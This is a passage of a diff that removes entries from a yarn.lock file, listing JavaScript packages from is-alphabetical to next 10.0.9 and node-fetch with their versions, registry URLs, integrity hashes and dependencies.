- integrity sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==
-
-is-alphabetical@^1.0.0:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/is-alphabetical/-/is-alphabetical-1.0.4.tgz#9e7d6b94916be22153745d184c298cbf986a686d"
- integrity sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==
-
-is-alphanumerical@^1.0.0:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz#7eb9a2431f855f6b1ef1a78e326df515696c4dbf"
- integrity sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==
- dependencies:
- is-alphabetical "^1.0.0"
- is-decimal "^1.0.0"
-
-is-binary-path@~2.1.0:
- version "2.1.0"
- resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
- integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==
- dependencies:
- binary-extensions "^2.0.0"
-
-is-buffer@^2.0.0:
- version "2.0.5"
- resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-2.0.5.tgz#ebc252e400d22ff8d77fa09888821a24a658c191"
- integrity sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==
-
-is-decimal@^1.0.0:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/is-decimal/-/is-decimal-1.0.4.tgz#65a3a5958a1c5b63a706e1b333d7cd9f630d3fa5"
- integrity sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==
-
-is-extglob@^2.1.1:
- version "2.1.1"
- resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
- integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
-
-is-glob@^4.0.1, is-glob@~4.0.1:
- version "4.0.1"
- resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc"
- integrity sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==
- dependencies:
- is-extglob "^2.1.1"
-
-is-hexadecimal@^1.0.0:
- version "1.0.4"
- resolved "https://registry.yarnpkg.com/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz#cc35c97588da4bd49a8eedd6bc4082d44dcb23a7"
- integrity sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==
-
-is-in-browser@^1.0.2, is-in-browser@^1.1.3:
- version "1.1.3"
- resolved "https://registry.yarnpkg.com/is-in-browser/-/is-in-browser-1.1.3.tgz#56ff4db683a078c6082eb95dad7dc62e1d04f835"
- integrity sha1-Vv9NtoOgeMYILrldrX3GLh0E+DU=
-
-is-number@^7.0.0:
- version "7.0.0"
- resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
- integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
-
-is-plain-obj@^2.0.0:
- version "2.1.0"
- resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-2.1.0.tgz#45e42e37fccf1f40da8e5f76ee21515840c09287"
- integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==
-
-isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
- version "1.0.0"
- resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
- integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-isobject@^2.0.0:
- version "2.1.0"
- resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
- integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
- dependencies:
- isarray "1.0.0"
-
-jest-worker@24.9.0:
- version "24.9.0"
- resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-24.9.0.tgz#5dbfdb5b2d322e98567898238a9697bcce67b3e5"
- integrity sha512-51PE4haMSXcHohnSMdM42anbvZANYTqMrr52tVKPqqsPJMzoP6FYYDVqahX/HrAoKEKz3uUPzSvKs9A3qR4iVw==
- dependencies:
- merge-stream "^2.0.0"
- supports-color "^6.1.0"
-
-"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
- version "4.0.0"
- resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
- integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
-
-json5@^1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe"
- integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==
- dependencies:
- minimist "^1.2.0"
-
-jss-plugin-camel-case@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss-plugin-camel-case/-/jss-plugin-camel-case-10.6.0.tgz#93d2cd704bf0c4af70cc40fb52d74b8a2554b170"
- integrity sha512-JdLpA3aI/npwj3nDMKk308pvnhoSzkW3PXlbgHAzfx0yHWnPPVUjPhXFtLJzgKZge8lsfkUxvYSQ3X2OYIFU6A==
- dependencies:
- "@babel/runtime" "^7.3.1"
- hyphenate-style-name "^1.0.3"
- jss "10.6.0"
-
-jss-plugin-default-unit@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss-plugin-default-unit/-/jss-plugin-default-unit-10.6.0.tgz#af47972486819b375f0f3a9e0213403a84b5ef3b"
- integrity sha512-7y4cAScMHAxvslBK2JRK37ES9UT0YfTIXWgzUWD5euvR+JR3q+o8sQKzBw7GmkQRfZijrRJKNTiSt1PBsLI9/w==
- dependencies:
- "@babel/runtime" "^7.3.1"
- jss "10.6.0"
-
-jss-plugin-global@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss-plugin-global/-/jss-plugin-global-10.6.0.tgz#3e8011f760f399cbadcca7f10a485b729c50e3ed"
- integrity sha512-I3w7ji/UXPi3VuWrTCbHG9rVCgB4yoBQLehGDTmsnDfXQb3r1l3WIdcO8JFp9m0YMmyy2CU7UOV6oPI7/Tmu+w==
- dependencies:
- "@babel/runtime" "^7.3.1"
- jss "10.6.0"
-
-jss-plugin-nested@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss-plugin-nested/-/jss-plugin-nested-10.6.0.tgz#5f83c5c337d3b38004834e8426957715a0251641"
- integrity sha512-fOFQWgd98H89E6aJSNkEh2fAXquC9aZcAVjSw4q4RoQ9gU++emg18encR4AT4OOIFl4lQwt5nEyBBRn9V1Rk8g==
- dependencies:
- "@babel/runtime" "^7.3.1"
- jss "10.6.0"
- tiny-warning "^1.0.2"
-
-jss-plugin-props-sort@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss-plugin-props-sort/-/jss-plugin-props-sort-10.6.0.tgz#297879f35f9fe21196448579fee37bcde28ce6bc"
- integrity sha512-oMCe7hgho2FllNc60d9VAfdtMrZPo9n1Iu6RNa+3p9n0Bkvnv/XX5San8fTPujrTBScPqv9mOE0nWVvIaohNuw==
- dependencies:
- "@babel/runtime" "^7.3.1"
- jss "10.6.0"
-
-jss-plugin-rule-value-function@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.6.0.tgz#3c1a557236a139d0151e70a82c810ccce1c1c5ea"
- integrity sha512-TKFqhRTDHN1QrPTMYRlIQUOC2FFQb271+AbnetURKlGvRl/eWLswcgHQajwuxI464uZk91sPiTtdGi7r7XaWfA==
- dependencies:
- "@babel/runtime" "^7.3.1"
- jss "10.6.0"
- tiny-warning "^1.0.2"
-
-jss-plugin-vendor-prefixer@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.6.0.tgz#e1fcd499352846890c38085b11dbd7aa1c4f2c78"
- integrity sha512-doJ7MouBXT1lypLLctCwb4nJ6lDYqrTfVS3LtXgox42Xz0gXusXIIDboeh6UwnSmox90QpVnub7au8ybrb0krQ==
- dependencies:
- "@babel/runtime" "^7.3.1"
- css-vendor "^2.0.8"
- jss "10.6.0"
-
-jss@10.6.0, jss@^10.5.1:
- version "10.6.0"
- resolved "https://registry.yarnpkg.com/jss/-/jss-10.6.0.tgz#d92ff9d0f214f65ca1718591b68e107be4774149"
- integrity sha512-n7SHdCozmxnzYGXBHe0NsO0eUf9TvsHVq2MXvi4JmTn3x5raynodDVE/9VQmBdWFyyj9HpHZ2B4xNZ7MMy7lkw==
- dependencies:
- "@babel/runtime" "^7.3.1"
- csstype "^3.0.2"
- indefinite-observable "^2.0.1"
- is-in-browser "^1.1.3"
- tiny-warning "^1.0.2"
-
-line-column@^1.0.2:
- version "1.0.2"
- resolved "https://registry.yarnpkg.com/line-column/-/line-column-1.0.2.tgz#d25af2936b6f4849172b312e4792d1d987bc34a2"
- integrity sha1-0lryk2tvSEkXKzEuR5LR2Ye8NKI=
- dependencies:
- isarray "^1.0.0"
- isobject "^2.0.0"
-
-loader-utils@1.2.3:
- version "1.2.3"
- resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.2.3.tgz#1ff5dc6911c9f0a062531a4c04b609406108c2c7"
- integrity sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==
- dependencies:
- big.js "^5.2.2"
- emojis-list "^2.0.0"
- json5 "^1.0.1"
-
-locate-path@^5.0.0:
- version "5.0.0"
- resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
- integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==
- dependencies:
- p-locate "^4.1.0"
-
-lodash.sortby@^4.7.0:
- version "4.7.0"
- resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
- integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=
-
-lodash@^4.17.13:
- version "4.17.21"
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
- integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
-
-longest-streak@^2.0.0:
- version "2.0.4"
- resolved "https://registry.yarnpkg.com/longest-streak/-/longest-streak-2.0.4.tgz#b8599957da5b5dab64dee3fe316fa774597d90e4"
- integrity sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg==
-
-loose-envify@^1.1.0, loose-envify@^1.4.0:
- version "1.4.0"
- resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
- integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
- dependencies:
- js-tokens "^3.0.0 || ^4.0.0"
-
-lowlight@^1.17.0:
- version "1.20.0"
- resolved "https://registry.yarnpkg.com/lowlight/-/lowlight-1.20.0.tgz#ddb197d33462ad0d93bf19d17b6c301aa3941888"
- integrity sha512-8Ktj+prEb1RoCPkEOrPMYUN/nCggB7qAWe3a7OpMjWQkh3l2RD5wKRQ+o8Q8YuI9RG/xs95waaI/E6ym/7NsTw==
- dependencies:
- fault "^1.0.0"
- highlight.js "~10.7.0"
-
-make-dir@^3.0.2:
- version "3.1.0"
- resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
- integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==
- dependencies:
- semver "^6.0.0"
-
-markdown-table@^2.0.0:
- version "2.0.0"
- resolved "https://registry.yarnpkg.com/markdown-table/-/markdown-table-2.0.0.tgz#194a90ced26d31fe753d8b9434430214c011865b"
- integrity sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==
- dependencies:
- repeat-string "^1.0.0"
-
-md5.js@^1.3.4:
- version "1.3.5"
- resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
- integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==
- dependencies:
- hash-base "^3.0.0"
- inherits "^2.0.1"
- safe-buffer "^5.1.2"
-
-mdast-util-definitions@^4.0.0:
- version "4.0.0"
- resolved "https://registry.yarnpkg.com/mdast-util-definitions/-/mdast-util-definitions-4.0.0.tgz#c5c1a84db799173b4dcf7643cda999e440c24db2"
- integrity sha512-k8AJ6aNnUkB7IE+5azR9h81O5EQ/cTDXtWdMq9Kk5KcEW/8ritU5CeLg/9HhOC++nALHBlaogJ5jz0Ybk3kPMQ==
- dependencies:
- unist-util-visit "^2.0.0"
-
-mdast-util-find-and-replace@^1.1.0:
- version "1.1.1"
- resolved "https://registry.yarnpkg.com/mdast-util-find-and-replace/-/mdast-util-find-and-replace-1.1.1.tgz#b7db1e873f96f66588c321f1363069abf607d1b5"
- integrity sha512-9cKl33Y21lyckGzpSmEQnIDjEfeeWelN5s1kUW1LwdB0Fkuq2u+4GdqcGEygYxJE8GVqCl0741bYXHgamfWAZA==
- dependencies:
- escape-string-regexp "^4.0.0"
- unist-util-is "^4.0.0"
- unist-util-visit-parents "^3.0.0"
-
-mdast-util-from-markdown@^0.8.0:
- version "0.8.5"
- resolved "https://registry.yarnpkg.com/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz#d1ef2ca42bc377ecb0463a987910dae89bd9a28c"
- integrity sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==
- dependencies:
- "@types/mdast" "^3.0.0"
- mdast-util-to-string "^2.0.0"
- micromark "~2.11.0"
- parse-entities "^2.0.0"
- unist-util-stringify-position "^2.0.0"
-
-mdast-util-gfm-autolink-literal@^0.1.0:
- version "0.1.3"
- resolved "https://registry.yarnpkg.com/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-0.1.3.tgz#9c4ff399c5ddd2ece40bd3b13e5447d84e385fb7"
- integrity sha512-GjmLjWrXg1wqMIO9+ZsRik/s7PLwTaeCHVB7vRxUwLntZc8mzmTsLVr6HW1yLokcnhfURsn5zmSVdi3/xWWu1A==
- dependencies:
- ccount "^1.0.0"
- mdast-util-find-and-replace "^1.1.0"
- micromark "^2.11.3"
-
-mdast-util-gfm-strikethrough@^0.2.0:
- version "0.2.3"
- resolved "https://registry.yarnpkg.com/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-0.2.3.tgz#45eea337b7fff0755a291844fbea79996c322890"
- integrity sha512-5OQLXpt6qdbttcDG/UxYY7Yjj3e8P7X16LzvpX8pIQPYJ/C2Z1qFGMmcw+1PZMUM3Z8wt8NRfYTvCni93mgsgA==
- dependencies:
- mdast-util-to-markdown "^0.6.0"
-
-mdast-util-gfm-table@^0.1.0:
- version "0.1.6"
- resolved "https://registry.yarnpkg.com/mdast-util-gfm-table/-/mdast-util-gfm-table-0.1.6.tgz#af05aeadc8e5ee004eeddfb324b2ad8c029b6ecf"
- integrity sha512-j4yDxQ66AJSBwGkbpFEp9uG/LS1tZV3P33fN1gkyRB2LoRL+RR3f76m0HPHaby6F4Z5xr9Fv1URmATlRRUIpRQ==
- dependencies:
- markdown-table "^2.0.0"
- mdast-util-to-markdown "~0.6.0"
-
-mdast-util-gfm-task-list-item@^0.1.0:
- version "0.1.6"
- resolved "https://registry.yarnpkg.com/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-0.1.6.tgz#70c885e6b9f543ddd7e6b41f9703ee55b084af10"
- integrity sha512-/d51FFIfPsSmCIRNp7E6pozM9z1GYPIkSy1urQ8s/o4TC22BZ7DqfHFWiqBD23bc7J3vV1Fc9O4QIHBlfuit8A==
- dependencies:
- mdast-util-to-markdown "~0.6.0"
-
-mdast-util-gfm@^0.1.0:
- version "0.1.2"
- resolved "https://registry.yarnpkg.com/mdast-util-gfm/-/mdast-util-gfm-0.1.2.tgz#8ecddafe57d266540f6881f5c57ff19725bd351c"
- integrity sha512-NNkhDx/qYcuOWB7xHUGWZYVXvjPFFd6afg6/e2g+SV4r9q5XUcCbV4Wfa3DLYIiD+xAEZc6K4MGaE/m0KDcPwQ==
- dependencies:
- mdast-util-gfm-autolink-literal "^0.1.0"
- mdast-util-gfm-strikethrough "^0.2.0"
- mdast-util-gfm-table "^0.1.0"
- mdast-util-gfm-task-list-item "^0.1.0"
- mdast-util-to-markdown "^0.6.1"
-
-mdast-util-to-hast@^10.2.0:
- version "10.2.0"
- resolved "https://registry.yarnpkg.com/mdast-util-to-hast/-/mdast-util-to-hast-10.2.0.tgz#61875526a017d8857b71abc9333942700b2d3604"
- integrity sha512-JoPBfJ3gBnHZ18icCwHR50orC9kNH81tiR1gs01D8Q5YpV6adHNO9nKNuFBCJQ941/32PT1a63UF/DitmS3amQ==
- dependencies:
- "@types/mdast" "^3.0.0"
- "@types/unist" "^2.0.0"
- mdast-util-definitions "^4.0.0"
- mdurl "^1.0.0"
- unist-builder "^2.0.0"
- unist-util-generated "^1.0.0"
- unist-util-position "^3.0.0"
- unist-util-visit "^2.0.0"
-
-mdast-util-to-markdown@^0.6.0, mdast-util-to-markdown@^0.6.1, mdast-util-to-markdown@~0.6.0:
- version "0.6.5"
- resolved "https://registry.yarnpkg.com/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz#b33f67ca820d69e6cc527a93d4039249b504bebe"
- integrity sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==
- dependencies:
- "@types/unist" "^2.0.0"
- longest-streak "^2.0.0"
- mdast-util-to-string "^2.0.0"
- parse-entities "^2.0.0"
- repeat-string "^1.0.0"
- zwitch "^1.0.0"
-
-mdast-util-to-string@^2.0.0:
- version "2.0.0"
- resolved "https://registry.yarnpkg.com/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz#b8cfe6a713e1091cb5b728fc48885a4767f8b97b"
- integrity sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==
-
-mdurl@^1.0.0:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/mdurl/-/mdurl-1.0.1.tgz#fe85b2ec75a59037f2adfec100fd6c601761152e"
- integrity sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=
-
-merge-stream@^2.0.0:
- version "2.0.0"
- resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
- integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
-
-micromark-extension-gfm-autolink-literal@~0.5.0:
- version "0.5.7"
- resolved "https://registry.yarnpkg.com/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-0.5.7.tgz#53866c1f0c7ef940ae7ca1f72c6faef8fed9f204"
- integrity sha512-ePiDGH0/lhcngCe8FtH4ARFoxKTUelMp4L7Gg2pujYD5CSMb9PbblnyL+AAMud/SNMyusbS2XDSiPIRcQoNFAw==
- dependencies:
- micromark "~2.11.3"
-
-micromark-extension-gfm-strikethrough@~0.6.5:
- version "0.6.5"
- resolved "https://registry.yarnpkg.com/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-0.6.5.tgz#96cb83356ff87bf31670eefb7ad7bba73e6514d1"
- integrity sha512-PpOKlgokpQRwUesRwWEp+fHjGGkZEejj83k9gU5iXCbDG+XBA92BqnRKYJdfqfkrRcZRgGuPuXb7DaK/DmxOhw==
- dependencies:
- micromark "~2.11.0"
-
-micromark-extension-gfm-table@~0.4.0:
- version "0.4.3"
- resolved "https://registry.yarnpkg.com/micromark-extension-gfm-table/-/micromark-extension-gfm-table-0.4.3.tgz#4d49f1ce0ca84996c853880b9446698947f1802b"
- integrity sha512-hVGvESPq0fk6ALWtomcwmgLvH8ZSVpcPjzi0AjPclB9FsVRgMtGZkUcpE0zgjOCFAznKepF4z3hX8z6e3HODdA==
- dependencies:
- micromark "~2.11.0"
-
-micromark-extension-gfm-tagfilter@~0.3.0:
- version "0.3.0"
- resolved "https://registry.yarnpkg.com/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-0.3.0.tgz#d9f26a65adee984c9ccdd7e182220493562841ad"
- integrity sha512-9GU0xBatryXifL//FJH+tAZ6i240xQuFrSL7mYi8f4oZSbc+NvXjkrHemeYP0+L4ZUT+Ptz3b95zhUZnMtoi/Q==
-
-micromark-extension-gfm-task-list-item@~0.3.0:
- version "0.3.3"
- resolved "https://registry.yarnpkg.com/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-0.3.3.tgz#d90c755f2533ed55a718129cee11257f136283b8"
- integrity sha512-0zvM5iSLKrc/NQl84pZSjGo66aTGd57C1idmlWmE87lkMcXrTxg1uXa/nXomxJytoje9trP0NDLvw4bZ/Z/XCQ==
- dependencies:
- micromark "~2.11.0"
-
-micromark-extension-gfm@^0.3.0:
- version "0.3.3"
- resolved "https://registry.yarnpkg.com/micromark-extension-gfm/-/micromark-extension-gfm-0.3.3.tgz#36d1a4c089ca8bdfd978c9bd2bf1a0cb24e2acfe"
- integrity sha512-oVN4zv5/tAIA+l3GbMi7lWeYpJ14oQyJ3uEim20ktYFAcfX1x3LNlFGGlmrZHt7u9YlKExmyJdDGaTt6cMSR/A==
- dependencies:
- micromark "~2.11.0"
- micromark-extension-gfm-autolink-literal "~0.5.0"
- micromark-extension-gfm-strikethrough "~0.6.5"
- micromark-extension-gfm-table "~0.4.0"
- micromark-extension-gfm-tagfilter "~0.3.0"
- micromark-extension-gfm-task-list-item "~0.3.0"
-
-micromark@^2.11.3, micromark@~2.11.0, micromark@~2.11.3:
- version "2.11.4"
- resolved "https://registry.yarnpkg.com/micromark/-/micromark-2.11.4.tgz#d13436138eea826383e822449c9a5c50ee44665a"
- integrity sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==
- dependencies:
- debug "^4.0.0"
- parse-entities "^2.0.0"
-
-miller-rabin@^4.0.0:
- version "4.0.1"
- resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d"
- integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==
- dependencies:
- bn.js "^4.0.0"
- brorand "^1.0.1"
-
-minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
- integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
-
-minimalistic-crypto-utils@^1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
- integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
-
-minimist@^1.2.0:
- version "1.2.5"
- resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
- integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
-
-mousetrap@^1.6.5:
- version "1.6.5"
- resolved "https://registry.yarnpkg.com/mousetrap/-/mousetrap-1.6.5.tgz#8a766d8c272b08393d5f56074e0b5ec183485bf9"
- integrity sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA==
-
-ms@2.0.0:
- version "2.0.0"
- resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
- integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-ms@2.1.2:
- version "2.1.2"
- resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
- integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
-
-nanoid@^3.1.16:
- version "3.1.22"
- resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.22.tgz#b35f8fb7d151990a8aebd5aa5015c03cf726f844"
- integrity sha512-/2ZUaJX2ANuLtTvqTlgqBQNJoQO398KyJgZloL0PZkC0dpysjncRUPsFe3DUPzz/y3h+u7C46np8RMuvF3jsSQ==
-
-native-url@0.3.4:
- version "0.3.4"
- resolved "https://registry.yarnpkg.com/native-url/-/native-url-0.3.4.tgz#29c943172aed86c63cee62c8c04db7f5756661f8"
- integrity sha512-6iM8R99ze45ivyH8vybJ7X0yekIcPf5GgLV5K0ENCbmRcaRIDoj37BC8iLEmaaBfqqb8enuZ5p0uhY+lVAbAcA==
- dependencies:
- querystring "^0.2.0"
-
-next@10.0.9:
- version "10.0.9"
- resolved "https://registry.yarnpkg.com/next/-/next-10.0.9.tgz#ad5d8e0368fee8363cdfd64d22dfbf71f683ae66"
- integrity sha512-HyoVjYydcM6LaFAUOHSxVQCcKOsIimVO/IKXCuWUu1rr6DDgXbWNg/8ckH084qD46MOYlLzjViiZ3KCmNQL4Cw==
- dependencies:
- "@babel/runtime" "7.12.5"
- "@hapi/accept" "5.0.1"
- "@next/env" "10.0.9"
- "@next/polyfill-module" "10.0.9"
- "@next/react-dev-overlay" "10.0.9"
- "@next/react-refresh-utils" "10.0.9"
- "@opentelemetry/api" "0.14.0"
- ast-types "0.13.2"
- browserslist "4.16.1"
- buffer "5.6.0"
- caniuse-lite "^1.0.30001179"
- chalk "2.4.2"
- chokidar "3.5.1"
- crypto-browserify "3.12.0"
- cssnano-simple "1.2.2"
- etag "1.8.1"
- find-cache-dir "3.3.1"
- get-orientation "1.1.2"
- jest-worker "24.9.0"
- native-url "0.3.4"
- node-fetch "2.6.1"
- node-html-parser "1.4.9"
- node-libs-browser "^2.2.1"
- p-limit "3.1.0"
- path-browserify "1.0.1"
- pnp-webpack-plugin "1.6.4"
- postcss "8.1.7"
- process "0.11.10"
- prop-types "15.7.2"
- raw-body "2.4.1"
- react-is "16.13.1"
- react-refresh "0.8.3"
- stream-browserify "3.0.0"
- styled-jsx "3.3.2"
- use-subscription "1.5.1"
- vm-browserify "1.1.2"
- watchpack "2.1.1"
-
-node-fetch@2.6.1:
- version "2.6.1"
